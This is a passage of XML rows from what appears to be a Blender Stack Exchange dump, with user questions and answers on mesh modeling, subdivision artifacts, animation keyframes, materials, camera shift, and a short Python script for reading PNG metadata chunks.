  <row Id="35513" PostTypeId="2" ParentId="35507" CreationDate="2015-08-11T15:50:25.757" Score="2" Body="&lt;h2&gt;Sharpen with Crease edges values&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If is suitable with your geometry, you can use a high value of &lt;strong&gt;Crease Edge&lt;/strong&gt; amount to the edges that start from the vertex you want pointy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pick the vertices, extend selection with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;+&lt;/kbd&gt; and than &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; to set the Crease to &lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/97vIX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/97vIX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More purple the edge is, higer the Crease value result.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you are not interest on the sharp edges but only to create a spiky geometery, you can loopcut the piramid with a loopcut that lay in the plane that has the same normal of the base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VMdUt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VMdUt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To opbtain this you can use the kinfe tool, or by extruding, or subdividing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double press &lt;kbd&gt;G&lt;/kbd&gt; key to slide the loop near the vertex.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-11T16:02:32.907" LastActivityDate="2015-08-11T16:02:32.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35514" PostTypeId="2" ParentId="35512" CreationDate="2015-08-11T16:00:33.540" Score="4" Body="&lt;p&gt;It looks like you have a face inside the glass wall, the subsurf modifier does not handle this kind of non-manifold geometry very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look closely, see the face within the wall.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8Aq9R.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Aq9R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get rid of it just go into wireframe view and select the spare face and delete it with &lt;kbd&gt;Del&lt;/kbd&gt; &gt; &lt;em&gt;faces&lt;/em&gt;.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Aiziw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aiziw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at your .blend file and since in your particular case you are using a solidify modifier to get the glass thickness you can't directly select the offending faces and delete them.  Just go into edit mode and select all with &lt;kbd&gt;A&lt;/kbd&gt;, then hit &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;remove doubles&lt;/em&gt;.  This will merge the duplicate vertices along the crack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a comparison:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HOxSU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HOxSU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See how before I removed doubles, when I selected the edge loop at the location of the crack only have “tails” in one direction?  This means there are double verts at that location.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bkQob.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bkQob.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-08-11T16:24:45.830" LastActivityDate="2015-08-11T16:24:45.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35515" PostTypeId="1" AcceptedAnswerId="35517" CreationDate="2015-08-11T16:07:50.043" Score="1" ViewCount="494" Body="&lt;p&gt;Im very new to blender so sorry if i don't explain very well. I made a hole in my object with a cylinder using the boolean intersect modifier but when i smooth the figure using the sub surf modifier its makes some geometry that i don't want there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well here are some screenshots:&#xA;&lt;strong&gt;Before&lt;/strong&gt;&lt;a href=&quot;https://i.stack.imgur.com/v408P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v408P.png&quot; alt=&quot;Before smoothing&quot;&gt;&lt;/a&gt;&#xA;&lt;strong&gt;After&lt;/strong&gt;&lt;a href=&quot;https://i.stack.imgur.com/vkKeU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vkKeU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16334" LastActivityDate="2015-08-11T16:28:44.763" Title="Mesh problem when smoothing intersecting cylinder in object" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35516" PostTypeId="1" CreationDate="2015-08-11T16:07:53.843" Score="2" ViewCount="1432" Body="&lt;p&gt;here is my an image of my mesh. &lt;a href=&quot;https://i.stack.imgur.com/7RPte.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7RPte.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some strange reason i red weight paint is not working. how can i fix thi&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2016-08-07T05:44:26.627" Title="why is my mesh not moving correctly with weight paint mode?" Tags="&lt;weight-painting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35517" PostTypeId="2" ParentId="35515" CreationDate="2015-08-11T16:28:44.763" Score="1" Body="&lt;p&gt;The faces with 4+ sides are called Ngons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ngons are not easy to handle with subdivision surfaces. They don't give predictable results, you cannot easly controle them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change your topology by converting all ngons and tris to &lt;strong&gt;quads&lt;/strong&gt;, as they have user-easily-predictable results with subsurf, but you must do it manually and it will take lot of time.&lt;/li&gt;&#xA;&lt;li&gt;Convert ngons to &lt;strong&gt;tris&lt;/strong&gt;, by triangulating and splitting your geometry (expecially concaves faces). This can be done automatically with the given commands with good results, but in will not be subsurfaced as percfectly as it would be done with only quads and will be hard to do further modeling onto.&lt;/li&gt;&#xA;&lt;li&gt;Don't use subsurface to smooth edges but &lt;strong&gt;bevel&lt;/strong&gt; them (manually or with the modifier)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-11T16:28:44.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35519" PostTypeId="1" CreationDate="2015-08-11T17:05:18.787" Score="0" ViewCount="1007" Body="&lt;p&gt;I've got a problem with scale my moving text, I have an intro moving but when I want to rescale it as when I preview what I have done it re-sets it self back or original size. Is there a way to save the size I want it to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First image: This is shown when I edit it&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TwnrP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TwnrP.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second Image: This the size goes back to its original size after I preview it playing to see what will happen.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/k45Fb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k45Fb.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16336" LastEditorUserId="2217" LastEditDate="2015-08-11T17:17:37.783" LastActivityDate="2015-09-10T21:30:08.873" Title="scale text object size" Tags="&lt;animation&gt;&lt;objects&gt;&lt;transforms&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="35520" PostTypeId="1" CreationDate="2015-08-11T17:10:59.390" Score="0" ViewCount="157" Body="&lt;p&gt;I created a posing character as static meshes from a body with a skeletion. It shows up fine in Oblivion. I want to join all the meshes that make up the body (upper, lower, etc)  so i can quickly paste this newly created single mesh into another .nif, or otherwise manipulate it. The meshes were  joined in Blender with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;.&lt;br&gt;&#xA;It seems to have exported with no problems, since it shows up in game with no problems.  However, the meshes are still shown as separate pieces in nifscope, so I have to copy and paste each piece to move it. So evidently, importing to Blender, joining the meshes, then exporting is not the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nifscope 1.1.3 rev 36bfdd/&lt;br&gt;&#xA;Blender 2.49b&lt;/p&gt;&#xA;" OwnerUserId="16337" LastEditorUserId="2217" LastEditDate="2015-08-11T17:19:49.157" LastActivityDate="2016-05-27T12:00:56.217" Title="Meshes joined in Blender are still un-joined in Nifscope" Tags="&lt;objects&gt;&lt;export&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35521" PostTypeId="2" ParentId="35519" CreationDate="2015-08-11T17:27:16.800" Score="1" Body="&lt;p&gt;First you must go to the dopesheet, then select the text you want to animate. In the dopesheet you see four keyframes, those keyframes you have to change. So go with the timeline (the green line in the dopesheet) to the first keyframe, the values of the scale is in yellow (that means it is keyframed) so change the x value to .5 and click on &lt;kbd&gt;I&lt;/kbd&gt; to insert a keyframe (make sure you are in the 3D view, or above the value when you hit the &lt;kbd&gt;I&lt;/kbd&gt;. Go with the timeline to the next keyframe, you are on the right frame if the values from the scale are yellow and repeat everything.&lt;a href=&quot;https://i.stack.imgur.com/jQFBr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jQFBr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-08-11T21:19:49.047" LastActivityDate="2015-08-11T21:19:49.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35522" PostTypeId="1" CreationDate="2015-08-11T17:48:49.237" Score="3" ViewCount="243" Body="&lt;p&gt;Im trying to show a downspout eroding the soil away as an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&#xA;A. Using a boolean to deform over time the (ground mesh(obstacle) OR animating shape keys for the (ground mesh(obstacle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. I then baked the fluid simulation and it does not follow the animated deformation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is driving me nuts, i did get this to work in MODO but I am falling in love  with Blender and its community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me.. &lt;/p&gt;&#xA;" OwnerUserId="16339" LastActivityDate="2016-07-05T23:19:35.337" Title="Fluid on a deforming mesh Problem?" Tags="&lt;modifiers&gt;&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35523" PostTypeId="1" CreationDate="2015-08-11T18:12:26.920" Score="9" ViewCount="3944" Body="&lt;p&gt;I have been struggling with this for a while, and can't figure out help. I would like to make a realistic sugar cube material procedural, but so far I couldn't manage to get a satisfactory result, can you please help me improve it? &#xA;My render i know it looks like solid object not translucency or sss but I do applied both with an add noder can be seen in the &lt;a href=&quot;http://www.pasteall.org/blend/37518&quot;&gt;file&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2CptT.jpg&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2CptT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I m seeking a solution to make shiny sprinkle looking small parts and translucency of main shader. I can't figure out how though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT- second render after @PGmath suggested note set up which helped a lot to get a much more better result, however I wish there was some way to reduce the noise , even with 300 samples there are plenty noise, is it normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2TG6x.jpg&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2TG6x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5435" LastEditorUserId="5435" LastEditDate="2015-08-12T09:03:26.573" LastActivityDate="2015-08-12T22:26:41.060" Title="how to make a realistic sugar cube material?" Tags="&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35524" PostTypeId="2" ParentId="35429" CreationDate="2015-08-11T18:29:20.933" Score="1" Body="&lt;p&gt;You can skew the relation between the lens and the focal plane using the &lt;a href=&quot;https://www.blender.org/manual/render/camera/lens.html#shift&quot; rel=&quot;nofollow noreferrer&quot;&gt;SHIFT&lt;/a&gt; values for the lens. That will give you control of the perspective the same way you'd control a tilt/shift lens on a studio camera. There is no way AFIK to rotate the camera plane from the lens plane though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s27FL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s27FL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mewO9.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mewO9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example show the same scene, with the same lens, WITH THE CAMERA ON THE SAME PLACE, and how shifting affects the perspective (I was trying to keep the object on the left in the frame to magnify the effect):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://i.imgur.com/3esWveu.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;Animated version here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kCWce.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kCWce.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kofVY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kofVY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b8rMD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b8rMD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i4j0w.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i4j0w.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KnaDg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KnaDg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file here:&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/409/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=409&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-11T20:21:48.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35525" PostTypeId="2" ParentId="35503" CreationDate="2015-08-11T18:41:14.207" Score="1" Body="&lt;p&gt;To set the location of an object to a target position specified in world space simply set the translation value of the object's world matrix&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;child_obj.matrix_world.translation = target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-08-11T18:41:14.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35527" PostTypeId="2" ParentId="35504" CreationDate="2015-08-11T18:58:12.517" Score="4" Body="&lt;p&gt;See &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Image.html?highlight=es.image#bpy.types.Image&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.types.Image&lt;/a&gt; for the available information about images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current image of an editor can be accessed from &lt;a href=&quot;http://www.blender.org/api/current/bpy.types.SpaceImageEditor.html?highlight=spaceimage#bpy.types.SpaceImageEditor.image&quot; rel=&quot;nofollow noreferrer&quot;&gt;SpaceImageEditor.image&lt;/a&gt;. So for a given context&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context.space_data.image&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you be more precise about what kind of metadata you are interested ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on the graphics file format (i. e. &lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Network_Graphics#Technical_details&quot; rel=&quot;nofollow noreferrer&quot;&gt;png format&lt;/a&gt;) and might be a question for &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;Stack Overflow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Reading chunks from png&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;&#xA;# chunk generator&#xA;def chunk_iter(data):&#xA;    total_length = len(data)&#xA;    end = 4&#xA;&#xA;    while(end + 8 &amp;lt; total_length):     &#xA;        length = int.from_bytes(data[end + 4: end + 8], 'big')&#xA;        begin_chunk_type = end + 8&#xA;        begin_chunk_data = begin_chunk_type + 4&#xA;        end = begin_chunk_data + length&#xA;&#xA;        yield (data[begin_chunk_type: begin_chunk_data],&#xA;               data[begin_chunk_data: end])&#xA;&#xA;# open arbitrary pngs&#xA;blender_path = os.path.join(os.environ['HOME'], &quot;Documents&quot;, &quot;Blender&quot;)&#xA;pngs = (os.path.join(blender_path, elem)&#xA;            for elem in os.listdir(blender_path) if elem.endswith(&quot;.png&quot;))&#xA;&#xA;for png in pngs:&#xA;    with open(png, 'rb') as fobj:&#xA;        data = fobj.read()&#xA;&#xA;    # check signature&#xA;    assert data[:8] == b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'&#xA;    print(&quot;-&quot; * 80, &quot;chunks of: %s&quot; % png, &quot;-&quot;*80, sep='\n')&#xA;&#xA;    for chunk_type, chunk_data in chunk_iter(data):&#xA;        print(&quot;chunk type: %s&quot; % chunk_type.decode())&#xA;        if   chunk_type == b'iTXt':&#xA;            print(&quot;--chunk data:&quot;,  chunk_data.decode())&#xA;        elif chunk_type == b'tEXt':&#xA;            print(&quot;--chunk data:&quot;, *chunk_data.decode('iso-8859-1').split('\0'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Output&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--------------------------------------------------------------------------------&#xA;chunks of: /home/User/Documents/Blender/0001.png&#xA;--------------------------------------------------------------------------------&#xA;chunk type: IHDR&#xA;chunk type: pHYs&#xA;chunk type: tEXt&#xA;--chunk data: File &amp;lt;untitled&amp;gt;&#xA;chunk type: tEXt&#xA;--chunk data: Note Test&#xA;chunk type: tEXt&#xA;--chunk data: Date 2015/08/12 17:07:41&#xA;chunk type: tEXt&#xA;--chunk data: Time 00:00:00:01&#xA;chunk type: tEXt&#xA;--chunk data: Frame 1&#xA;chunk type: tEXt&#xA;--chunk data: Camera Camera&#xA;chunk type: tEXt&#xA;--chunk data: Scene Scene&#xA;chunk type: tEXt&#xA;--chunk data: RenderTime 00:00.06&#xA;chunk type: IDAT&#xA;chunk type: IDAT&#xA;chunk type: IEND&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So metadata for png is stored in tEXt chunks, separated by &lt;code&gt;0&lt;/code&gt; character. See &lt;a href=&quot;http://www.w3.org/TR/PNG/#11tEXt&quot; rel=&quot;nofollow noreferrer&quot;&gt;png specification&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="31447" LastEditDate="2020-02-22T16:58:55.140" LastActivityDate="2020-02-22T16:58:55.140" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="35530" PostTypeId="2" ParentId="32571" CreationDate="2015-08-11T19:11:46.877" Score="2" Body="&lt;p&gt;You can achieve kind of that modeling manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select 2 curves, join them, convert to mesh and use &lt;code&gt;Bridge Edge Loops&lt;/code&gt; to fill space between them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAejJ.jpg&quot; alt=&quot;deform_0.jpg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a loop cut, select it, &lt;kbd&gt;P&lt;/kbd&gt; to separate selection, and delete new created loop. Enter Edit mode of that separated selection, and extrude it in one of horizontal (in my case) directions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KT2HH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KT2HH.jpg&quot; alt=&quot;deform_1.jpg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Join 2 meshes, in Edit mode select outer loops and use again &lt;em&gt;Bridge Edge Loops&lt;/em&gt; tool to make faces between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EYhGH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EYhGH.jpg&quot; alt=&quot;deform_2.jpg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added 2 loopcuts to define another form of the mesh and scaled them by X axis with Pivot set to central loop so to make them not on the default position.&lt;br/&gt;&#xA;After deleting non-manifold geometry the mesh became like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v6VxJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v6VxJ.jpg&quot; alt=&quot;deform_3.jpg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what is done with this technique as for torus:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6tDoq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6tDoq.jpg&quot; alt=&quot;deform_4.jpg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left is the curve I used to define that shape, on the right - the resulting mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not ideal and automated, but you may always refine loops' position so it to look in another way.&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advantages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only one as for me (comparing to Lattice using) - is that you definitely use curves you create to define the shape of the resulting meshes.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-11T19:11:46.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35531" PostTypeId="1" AcceptedAnswerId="35548" CreationDate="2015-08-11T19:25:40.190" Score="4" ViewCount="2819" Body="&lt;p&gt;How does one put a keyframe for a bone(and the part of the mesh assigned to it) to appear/disappear?&#xA;If it was another object one could keyframe the visibility buttons but it is a part of a mesh, f.e. a weapon.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2015-08-12T03:12:12.087" Title="How to hide bones in animation" Tags="&lt;animation&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35532" PostTypeId="1" CreationDate="2015-08-11T19:48:01.737" Score="1" ViewCount="269" Body="&lt;p&gt;I am trying to create the same skeleton animation from a mesh to a different mesh, which already has morph animation (shape keys were created). So I deleted the first mesh, kept the skeleton (which already has skeletal animation) and then, imported the second mesh with morph animation. I scaled, rotated and changed location of the second mesh so it fits the skeleton. Then, I did the process of rigging (I selected the mesh + shift + selected the armature, then clicked &quot;ctrl + P&quot; to create parenting). And it worked, the second mesh was animated according to the skeletal animation of the first mesh. Nevertheless, when I try to export this mesh to three.js as a skeletal animation (I chose pose mode, because when I choose rest mode, it gives me error), the mesh is displayed in a messy way and not with its normal shape. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="15368" LastActivityDate="2015-08-11T19:48:01.737" Title="How to create the same animation for different meshes?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;three.js&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35533" PostTypeId="1" AcceptedAnswerId="35540" CreationDate="2015-08-11T21:13:26.870" Score="1" ViewCount="65" Body="&lt;p&gt;Now some of the triangles are messed up and the back of one arm shows through a transparent inside to the front of the arm's texture in reverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the popular voxel based game ROBLOX, &lt;a href=&quot;https://www.mediafire.com/file/p7a1xrztsjct4bp/RigDone.blend/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is my .blend file&lt;/a&gt;. Either tell me how to fix it, or fix it for me, thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dMFTV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dMFTV.png&quot; alt=&quot;The error&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://www.ezimba.com/work/150812C/ezimba15546437914800.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;ezimba.com&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;" OwnerUserId="16316" LastEditorUserId="32220" LastEditDate="2019-07-18T13:25:05.043" LastActivityDate="2019-07-18T13:25:05.043" Title="I made a mistake and moved a surface texture" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35535" PostTypeId="1" CreationDate="2015-08-11T21:18:22.433" Score="2" ViewCount="451" Body="&lt;p&gt;After hours of tutorials, and the first help of Carlo, I'm looking in a way to force an object, like a &quot;bone&quot; (so not exactly a regular cylindre, with a lot of meshs) to shape itself into a sharpe path of 3 or 4 points (path converting in meshs after alt+C, let s call it &quot;a guide&quot;). &#xA;So the idea is to use this guide like a tool to shape the bone object linked and without deformation (like a solid object) as you can see :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rbScy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rbScy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to begin with... it s difficult : because it s not a bezier item, it s a complexe cylindre. So I can t use &quot;bevel object&quot;  with an object like that... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this step, I think there are two possibility to see the problem :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You can superpose 